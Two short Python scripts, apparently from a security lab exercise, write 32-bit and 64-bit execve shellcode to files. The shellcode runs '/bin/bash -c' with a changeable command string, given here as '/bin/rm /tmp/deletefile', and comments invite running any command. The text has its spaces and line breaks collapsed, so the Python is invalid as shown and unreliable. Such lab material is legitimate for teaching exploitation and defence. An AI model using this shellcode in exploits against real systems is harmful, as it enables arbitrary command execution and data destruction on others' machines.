#!/usr/bin/python3importsys# You can use this shellcode to run any command you wantshellcode=("\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b""\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54""\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff""/bin/bash*""-c*"# You can modify the following command string to run any command.# You can even run multiple commands. When you change the string,# make sure that the position of the * at the end doesn't change.# The code above will change the byte at this position to zero,# so the command string ends here.# You can delete/add spaces, if needed, to keep the position the same. # The * in this line serves as the position marker * "/bin/rm /tmp/deletefile *""AAAA"# Placeholder for argv[0] --> "/bin/bash""BBBB"# Placeholder for argv[1] --> "-c""CCCC"# Placeholder for argv[2] --> the command string"DDDD"# Placeholder for argv[3] --> NULL).encode('latin-1')content=bytearray(200)content[0:]=shellcode# Save the binary code to filewithopen('codefile_32','wb')asf:f.write(content)
#!/usr/bin/python3importsys# You can use this shellcode to run any command you wantshellcode=("\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48""\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48""\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31""\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff""/bin/bash*""-c*"# You can modify the following command string to run any command.# You can even run multiple commands. When you change the string,# make sure that the position of the * at the end doesn't change.# The code above will change the byte at this position to zero,# so the command string ends here.# You can delete/add spaces, if needed, to keep the position the same. # The * in this line serves as the position marker * "/bin/rm /tmp/deletefile *""AAAAAAAA"# Placeholder for argv[0] --> "/bin/bash""BBBBBBBB"# Placeholder for argv[1] --> "-c""CCCCCCCC"# Placeholder for argv[2] --> the command string"DDDDDDDD"# Placeholder for argv[3] --> NULL).encode('latin-1')content=bytearray(200)content[0:]=shellcode# Save the binary code to filewithopen('codefile_64','wb')asf:f.write(content)